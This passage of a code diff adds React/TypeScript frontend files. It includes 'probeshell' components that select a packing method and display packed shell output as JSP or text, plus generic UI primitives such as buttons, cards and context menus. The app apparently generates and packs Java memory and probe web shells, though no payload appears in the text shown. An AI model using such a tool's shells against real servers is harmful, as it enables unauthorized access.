+  packerConfig: PackerConfig | undefined;
+  form: UseFormReturn<ProbeShellFormSchema>;
+}>) {
+  const [options, setOptions] = useState<Array<Option>>([]);
+  const { t } = useTranslation("common");
+
+  useEffect(() => {
+    const filteredOptions = (packerConfig ?? []).filter((name) => {
+      return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
+    });
+
+    const mappedOptions = filteredOptions.map((name) => {
+      return {
+        name: name,
+        value: name,
+      };
+    });
+
+    setOptions(mappedOptions);
+    const currentValue = form.getValues("packingMethod");
+    if (
+      filteredOptions.length > 0 &&
+      (!currentValue || !filteredOptions.includes(currentValue))
+    ) {
+      form.setValue("packingMethod", filteredOptions[0]);
+    }
+  }, [form, packerConfig]);
+
+  return (
+    <Card className="w-full">
+      <CardHeader className="pb-1">
+        <CardTitle className="text-md flex items-center gap-2">
+          <PackageIcon className="h-5" />
+          <span>{t("packerConfig.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        {options.length > 0 ? (
+          <FormProvider {...form}>
+            <FormField
+              control={form.control}
+              name="packingMethod"
+              render={({ field }) => (
+                <FormItem className="space-y-3">
+                  <FormLabel>{t("packerMethod")}</FormLabel>
+                  <FormControl>
+                    <RadioGroup
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      className="grid grid-cols-2 md:grid-cols-3"
+                    >
+                      {options.map(({ name, value }) => (
+                        <FormItem
+                          key={value}
+                          className="flex items-center space-x-3 space-y-0"
+                        >
+                          <FormControl>
+                            <RadioGroupItem value={value} id={value} />
+                          </FormControl>
+                          <FormLabel className="text-xs" htmlFor={value}>
+                            {name}
+                          </FormLabel>
+                        </FormItem>
+                      ))}
+                    </RadioGroup>
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </FormProvider>
+        ) : (
+          <div className="flex items-center justify-center p-4 space-x-2">
+            <div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
+            <span className="text-sm text-muted-foreground">
+              {t("loading")}
+            </span>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/probeshell/quick-usage.tsx

@@ -0,0 +1,24 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+
+export function QuickUsage() {
+  const { t } = useTranslation(["common", "probeshell"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:quickUsage.title")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li>{t("probeshell:quickUsage.step1")}</li>
+          <li>{t("probeshell:quickUsage.step2")}</li>
+          <li>{t("probeshell:quickUsage.step3")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/probeshell/shell-result.tsx

@@ -0,0 +1,65 @@
+import { useTranslation } from "react-i18next";
+import { QuickUsage } from "@/components/probeshell/quick-usage";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import type { ProbeShellResult } from "@/types/probeshell";
+import CodeViewer from "../code-viewer";
+import { MultiPackResult } from "../memshell/results/multi-packer";
+import { BasicInfo } from "./basic-info";
+
+export default function ShellResult({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: ProbeShellResult;
+}>) {
+  const { t } = useTranslation();
+  if (!generateResult) {
+    return <QuickUsage />;
+  }
+  const showCode = packMethod === "JSP";
+  const height = 550;
+  return (
+    <Tabs defaultValue="packResult">
+      <TabsList className="grid w-full grid-cols-1">
+        <TabsTrigger value="packResult">
+          {t("common:generateResult")}
+        </TabsTrigger>
+      </TabsList>
+      <TabsContent value="packResult" className="my-2 space-y-4">
+        <BasicInfo generateResult={generateResult} />
+        {allPackResults && (
+          <MultiPackResult
+            allPackResults={allPackResults}
+            shellClassName={generateResult?.shellClassName}
+            packMethod={packMethod}
+            height={height}
+          />
+        )}
+        {packResult && (
+          <CodeViewer
+            code={packResult}
+            header={
+              <div className="flex items-center justify-between text-xs gap-2">
+                <span>
+                  {t("common:packerMethod")}：{packMethod}
+                </span>
+                <span className="text-muted-foreground">
+                  ({packResult?.length})
+                </span>
+              </div>
+            }
+            wrapLongLines={!showCode}
+            showLineNumbers={showCode}
+            language={showCode ? "java" : "text"}
+            height={height}
+          />
+        )}
+      </TabsContent>
+    </Tabs>
+  );
+}

web/app/components/search.tsx

@@ -0,0 +1,49 @@
+import { create } from "@orama/orama";
+import { useDocsSearch } from "fumadocs-core/search/client";
+import {
+  SearchDialog,
+  SearchDialogClose,
+  SearchDialogContent,
+  SearchDialogHeader,
+  SearchDialogIcon,
+  SearchDialogInput,
+  SearchDialogList,
+  SearchDialogOverlay,
+  type SharedProps,
+} from "fumadocs-ui/components/dialog/search";
+import { useI18n } from "fumadocs-ui/contexts/i18n";
+
+function initOrama() {
+  return create({
+    schema: { _: "string" },
+    language: "english",
+  });
+}
+
+export default function DefaultSearchDialog(props: SharedProps) {
+  const { locale } = useI18n();
+  const { search, setSearch, query } = useDocsSearch({
+    type: "static",
+    initOrama,
+    locale,
+  });
+
+  return (
+    <SearchDialog
+      search={search}
+      onSearchChange={setSearch}
+      isLoading={query.isLoading}
+      {...props}
+    >
+      <SearchDialogOverlay />
+      <SearchDialogContent>
+        <SearchDialogHeader>
+          <SearchDialogIcon />
+          <SearchDialogInput />
+          <SearchDialogClose />
+        </SearchDialogHeader>
+        <SearchDialogList items={query.data !== "empty" ? query.data : null} />
+      </SearchDialogContent>
+    </SearchDialog>
+  );
+}

web/app/components/tailwind-indicator.tsx

@@ -0,0 +1,14 @@
+export function TailwindIndicator() {
+  return (
+    <div className="fixed bottom-1 right-1 z-50 flex size-6 items-center justify-center rounded-full bg-gray-800 p-3 font-mono text-xs text-white">
+      <div className="block sm:hidden">xs</div>
+      <div className="hidden sm:block md:hidden lg:hidden xl:hidden 2xl:hidden">
+        sm
+      </div>
+      <div className="hidden md:block lg:hidden xl:hidden 2xl:hidden">md</div>
+      <div className="hidden lg:block xl:hidden 2xl:hidden">lg</div>
+      <div className="hidden xl:block 2xl:hidden">xl</div>
+      <div className="hidden 2xl:block">2xl</div>
+    </div>
+  );
+}

web/app/components/ui/alert-dialog.tsx

@@ -0,0 +1,154 @@
+import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
+import type * as React from "react";
+import { buttonVariants } from "@/components/ui/button";
+import { cn } from "@/lib/utils";
+
+function AlertDialog({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Root>) {
+  return <AlertDialogPrimitive.Root data-slot="alert-dialog" {...props} />;
+}
+
+function AlertDialogTrigger({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Trigger>) {
+  return (
+    <AlertDialogPrimitive.Trigger data-slot="alert-dialog-trigger" {...props} />
+  );
+}
+
+function AlertDialogPortal({
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Portal>) {
+  return (
+    <AlertDialogPrimitive.Portal data-slot="alert-dialog-portal" {...props} />
+  );
+}
+
+function AlertDialogOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Overlay>) {
+  return (
+    <AlertDialogPrimitive.Overlay
+      data-slot="alert-dialog-overlay"
+      className={cn(
+        "data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Content>) {
+  return (
+    <AlertDialogPortal>
+      <AlertDialogOverlay />
+      <AlertDialogPrimitive.Content
+        data-slot="alert-dialog-content"
+        className={cn(
+          "bg-background data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] translate-x-[-50%] translate-y-[-50%] gap-4 rounded-lg border p-6 shadow-lg duration-200 sm:max-w-lg",
+          className,
+        )}
+        {...props}
+      />
+    </AlertDialogPortal>
+  );
+}
+
+function AlertDialogHeader({
+  className,
+  ...props
+}: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-dialog-header"
+      className={cn("flex flex-col gap-2 text-center sm:text-left", className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogFooter({
+  className,
+  ...props
+}: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-dialog-footer"
+      className={cn(
+        "flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Title>) {
+  return (
+    <AlertDialogPrimitive.Title
+      data-slot="alert-dialog-title"
+      className={cn("text-lg font-semibold", className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Description>) {
+  return (
+    <AlertDialogPrimitive.Description
+      data-slot="alert-dialog-description"
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogAction({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Action>) {
+  return (
+    <AlertDialogPrimitive.Action
+      className={cn(buttonVariants(), className)}
+      {...props}
+    />
+  );
+}
+
+function AlertDialogCancel({
+  className,
+  ...props
+}: React.ComponentProps<typeof AlertDialogPrimitive.Cancel>) {
+  return (
+    <AlertDialogPrimitive.Cancel
+      className={cn(buttonVariants({ variant: "outline" }), className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  AlertDialog,
+  AlertDialogPortal,
+  AlertDialogOverlay,
+  AlertDialogTrigger,
+  AlertDialogContent,
+  AlertDialogHeader,
+  AlertDialogFooter,
+  AlertDialogTitle,
+  AlertDialogDescription,
+  AlertDialogAction,
+  AlertDialogCancel,
+};

web/app/components/ui/alert.tsx

@@ -0,0 +1,66 @@
+import { cva, type VariantProps } from "class-variance-authority";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+const alertVariants = cva(
+  "relative w-full rounded-lg border px-4 py-3 text-sm grid has-[>svg]:grid-cols-[calc(var(--spacing)*4)_1fr] grid-cols-[0_1fr] has-[>svg]:gap-x-3 gap-y-0.5 items-start [&>svg]:size-4 [&>svg]:translate-y-0.5 [&>svg]:text-current",
+  {
+    variants: {
+      variant: {
+        default: "bg-card text-card-foreground",
+        destructive:
+          "text-destructive bg-card [&>svg]:text-current *:data-[slot=alert-description]:text-destructive/90",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+    },
+  },
+);
+
+function Alert({
+  className,
+  variant,
+  ...props
+}: React.ComponentProps<"div"> & VariantProps<typeof alertVariants>) {
+  return (
+    <div
+      data-slot="alert"
+      role="alert"
+      className={cn(alertVariants({ variant }), className)}
+      {...props}
+    />
+  );
+}
+
+function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-title"
+      className={cn(
+        "col-start-2 line-clamp-1 min-h-4 font-medium tracking-tight",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AlertDescription({
+  className,
+  ...props
+}: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="alert-description"
+      className={cn(
+        "text-muted-foreground col-start-2 grid justify-items-start gap-1 text-sm [&_p]:leading-relaxed",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Alert, AlertTitle, AlertDescription };

web/app/components/ui/avatar.tsx

@@ -0,0 +1,51 @@
+import { Avatar as AvatarPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Avatar({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
+  return (
+    <AvatarPrimitive.Root
+      data-slot="avatar"
+      className={cn(
+        "relative flex size-8 shrink-0 overflow-hidden rounded-full",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function AvatarImage({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
+  return (
+    <AvatarPrimitive.Image
+      data-slot="avatar-image"
+      className={cn("aspect-square size-full", className)}
+      {...props}
+    />
+  );
+}
+
+function AvatarFallback({
+  className,
+  ...props
+}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
+  return (
+    <AvatarPrimitive.Fallback
+      data-slot="avatar-fallback"
+      className={cn(
+        "bg-muted flex size-full items-center justify-center rounded-full",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Avatar, AvatarImage, AvatarFallback };

web/app/components/ui/badge.tsx

@@ -0,0 +1,46 @@
+import { cva, type VariantProps } from "class-variance-authority";
+import { Slot as SlotPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+const badgeVariants = cva(
+  "inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden",
+  {
+    variants: {
+      variant: {
+        default:
+          "border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90",
+        secondary:
+          "border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90",
+        destructive:
+          "border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
+        outline:
+          "text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+    },
+  },
+);
+
+function Badge({
+  className,
+  variant,
+  asChild = false,
+  ...props
+}: React.ComponentProps<"span"> &
+  VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
+  const Comp = asChild ? SlotPrimitive.Slot : "span";
+
+  return (
+    <Comp
+      data-slot="badge"
+      className={cn(badgeVariants({ variant }), className)}
+      {...props}
+    />
+  );
+}
+
+export { Badge, badgeVariants };

web/app/components/ui/breadcrumb.tsx

@@ -0,0 +1,108 @@
+import { ChevronRight, MoreHorizontal } from "lucide-react";
+import { Slot as SlotPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Breadcrumb({ ...props }: React.ComponentProps<"nav">) {
+  return <nav aria-label="breadcrumb" data-slot="breadcrumb" {...props} />;
+}
+
+function BreadcrumbList({ className, ...props }: React.ComponentProps<"ol">) {
+  return (
+    <ol
+      data-slot="breadcrumb-list"
+      className={cn(
+        "text-muted-foreground flex flex-wrap items-center gap-1.5 text-sm break-words sm:gap-2.5",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbItem({ className, ...props }: React.ComponentProps<"li">) {
+  return (
+    <li
+      data-slot="breadcrumb-item"
+      className={cn("inline-flex items-center gap-1.5", className)}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbLink({
+  asChild,
+  className,
+  ...props
+}: React.ComponentProps<"a"> & {
+  asChild?: boolean;
+}) {
+  const Comp = asChild ? SlotPrimitive.Slot : "a";
+
+  return (
+    <Comp
+      data-slot="breadcrumb-link"
+      className={cn("hover:text-foreground transition-colors", className)}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbPage({ className, ...props }: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="breadcrumb-page"
+      aria-disabled="true"
+      aria-current="page"
+      className={cn("text-foreground font-normal", className)}
+      {...props}
+    />
+  );
+}
+
+function BreadcrumbSeparator({
+  children,
+  className,
+  ...props
+}: React.ComponentProps<"li">) {
+  return (
+    <li
+      data-slot="breadcrumb-separator"
+      role="presentation"
+      aria-hidden="true"
+      className={cn("[&>svg]:size-3.5", className)}
+      {...props}
+    >
+      {children ?? <ChevronRight />}
+    </li>
+  );
+}
+
+function BreadcrumbEllipsis({
+  className,
+  ...props
+}: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="breadcrumb-ellipsis"
+      role="presentation"
+      aria-hidden="true"
+      className={cn("flex size-9 items-center justify-center", className)}
+      {...props}
+    >
+      <MoreHorizontal className="size-4" />
+      <span className="sr-only">More</span>
+    </span>
+  );
+}
+
+export {
+  Breadcrumb,
+  BreadcrumbList,
+  BreadcrumbItem,
+  BreadcrumbLink,
+  BreadcrumbPage,
+  BreadcrumbSeparator,
+  BreadcrumbEllipsis,
+};

web/app/components/ui/button.tsx

@@ -0,0 +1,59 @@
+import { cva, type VariantProps } from "class-variance-authority";
+import { Slot as SlotPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+const buttonVariants = cva(
+  "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
+  {
+    variants: {
+      variant: {
+        default:
+          "bg-primary text-primary-foreground shadow-xs hover:bg-primary/90",
+        destructive:
+          "bg-destructive text-white shadow-xs hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60",
+        outline:
+          "border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50",
+        secondary:
+          "bg-secondary text-secondary-foreground shadow-xs hover:bg-secondary/80",
+        ghost:
+          "hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50",
+        link: "text-primary underline-offset-4 hover:underline",
+      },
+      size: {
+        default: "h-9 px-4 py-2 has-[>svg]:px-3",
+        sm: "h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",
+        lg: "h-10 rounded-md px-6 has-[>svg]:px-4",
+        icon: "size-9",
+      },
+    },
+    defaultVariants: {
+      variant: "default",
+      size: "default",
+    },
+  },
+);
+
+function Button({
+  className,
+  variant,
+  size,
+  asChild = false,
+  ...props
+}: React.ComponentProps<"button"> &
+  VariantProps<typeof buttonVariants> & {
+    asChild?: boolean;
+  }) {
+  const Comp = asChild ? SlotPrimitive.Slot : "button";
+
+  return (
+    <Comp
+      data-slot="button"
+      className={cn(buttonVariants({ variant, size, className }))}
+      {...props}
+    />
+  );
+}
+
+export { Button, buttonVariants };

web/app/components/ui/card.tsx

@@ -0,0 +1,92 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Card({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card"
+      className={cn(
+        "border text-card-foreground flex flex-col rounded-xl pb-6 text-sm shadow-sm",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function CardHeader({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-header"
+      className={cn(
+        "@container/card-header grid auto-rows-min grid-rows-[auto_auto] items-start gap-1.5 px-6 pt-6 has-data-[slot=card-action]:grid-cols-[1fr_auto] [.border-b]:pb-6",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function CardTitle({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-title"
+      className={cn("leading-none font-semibold", className)}
+      {...props}
+    />
+  );
+}
+
+function CardDescription({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-description"
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+function CardAction({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-action"
+      className={cn(
+        "col-start-2 row-span-2 row-start-1 self-start justify-self-end",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function CardContent({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-content"
+      className={cn("px-6", className)}
+      {...props}
+    />
+  );
+}
+
+function CardFooter({ className, ...props }: React.ComponentProps<"div">) {
+  return (
+    <div
+      data-slot="card-footer"
+      className={cn("flex items-center px-6 [.border-t]:pt-6", className)}
+      {...props}
+    />
+  );
+}
+
+export {
+  Card,
+  CardHeader,
+  CardFooter,
+  CardTitle,
+  CardAction,
+  CardDescription,
+  CardContent,
+};

web/app/components/ui/checkbox.tsx

@@ -0,0 +1,30 @@
+import { CheckIcon } from "lucide-react";
+import { Checkbox as CheckboxPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Checkbox({
+  className,
+  ...props
+}: React.ComponentProps<typeof CheckboxPrimitive.Root>) {
+  return (
+    <CheckboxPrimitive.Root
+      data-slot="checkbox"
+      className={cn(
+        "peer border-input dark:bg-input/30 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:data-[state=checked]:bg-primary data-[state=checked]:border-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive size-4 shrink-0 rounded-[4px] border shadow-xs transition-shadow outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    >
+      <CheckboxPrimitive.Indicator
+        data-slot="checkbox-indicator"
+        className="flex items-center justify-center text-current transition-none"
+      >
+        <CheckIcon className="size-3.5" />
+      </CheckboxPrimitive.Indicator>
+    </CheckboxPrimitive.Root>
+  );
+}
+
+export { Checkbox };

web/app/components/ui/context-menu.tsx

@@ -0,0 +1,250 @@
+import { CheckIcon, ChevronRightIcon, CircleIcon } from "lucide-react";
+import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function ContextMenu({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Root>) {
+  return <ContextMenuPrimitive.Root data-slot="context-menu" {...props} />;
+}
+
+function ContextMenuTrigger({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Trigger>) {
+  return (
+    <ContextMenuPrimitive.Trigger data-slot="context-menu-trigger" {...props} />
+  );
+}
+
+function ContextMenuGroup({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Group>) {
+  return (
+    <ContextMenuPrimitive.Group data-slot="context-menu-group" {...props} />
+  );
+}
+
+function ContextMenuPortal({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Portal>) {
+  return (
+    <ContextMenuPrimitive.Portal data-slot="context-menu-portal" {...props} />
+  );
+}
+
+function ContextMenuSub({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Sub>) {
+  return <ContextMenuPrimitive.Sub data-slot="context-menu-sub" {...props} />;
+}
+
+function ContextMenuRadioGroup({
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.RadioGroup>) {
+  return (
+    <ContextMenuPrimitive.RadioGroup
+      data-slot="context-menu-radio-group"
+      {...props}
+    />
+  );
+}
+
+function ContextMenuSubTrigger({
+  className,
+  inset,
+  children,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.SubTrigger> & {
+  inset?: boolean;
+}) {
+  return (
+    <ContextMenuPrimitive.SubTrigger
+      data-slot="context-menu-sub-trigger"
+      data-inset={inset}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      <ChevronRightIcon className="ml-auto" />
+    </ContextMenuPrimitive.SubTrigger>
+  );
+}
+
+function ContextMenuSubContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.SubContent>) {
+  return (
+    <ContextMenuPrimitive.SubContent
+      data-slot="context-menu-sub-content"
+      className={cn(
+        "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Content>) {
+  return (
+    <ContextMenuPrimitive.Portal>
+      <ContextMenuPrimitive.Content
+        data-slot="context-menu-content"
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-context-menu-content-available-height) min-w-[8rem] origin-(--radix-context-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md",
+          className,
+        )}
+        {...props}
+      />
+    </ContextMenuPrimitive.Portal>
+  );
+}
+
+function ContextMenuItem({
+  className,
+  inset,
+  variant = "default",
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Item> & {
+  inset?: boolean;
+  variant?: "default" | "destructive";
+}) {
+  return (
+    <ContextMenuPrimitive.Item
+      data-slot="context-menu-item"
+      data-inset={inset}
+      data-variant={variant}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.CheckboxItem>) {
+  return (
+    <ContextMenuPrimitive.CheckboxItem
+      data-slot="context-menu-checkbox-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      checked={checked}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <ContextMenuPrimitive.ItemIndicator>
+          <CheckIcon className="size-4" />
+        </ContextMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </ContextMenuPrimitive.CheckboxItem>
+  );
+}
+
+function ContextMenuRadioItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.RadioItem>) {
+  return (
+    <ContextMenuPrimitive.RadioItem
+      data-slot="context-menu-radio-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <ContextMenuPrimitive.ItemIndicator>
+          <CircleIcon className="size-2 fill-current" />
+        </ContextMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </ContextMenuPrimitive.RadioItem>
+  );
+}
+
+function ContextMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Label> & {
+  inset?: boolean;
+}) {
+  return (
+    <ContextMenuPrimitive.Label
+      data-slot="context-menu-label"
+      data-inset={inset}
+      className={cn(
+        "text-foreground px-2 py-1.5 text-sm font-medium data-[inset]:pl-8",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof ContextMenuPrimitive.Separator>) {
+  return (
+    <ContextMenuPrimitive.Separator
+      data-slot="context-menu-separator"
+      className={cn("bg-border -mx-1 my-1 h-px", className)}
+      {...props}
+    />
+  );
+}
+
+function ContextMenuShortcut({
+  className,
+  ...props
+}: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="context-menu-shortcut"
+      className={cn(
+        "text-muted-foreground ml-auto text-xs tracking-widest",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export {
+  ContextMenu,
+  ContextMenuTrigger,
+  ContextMenuContent,
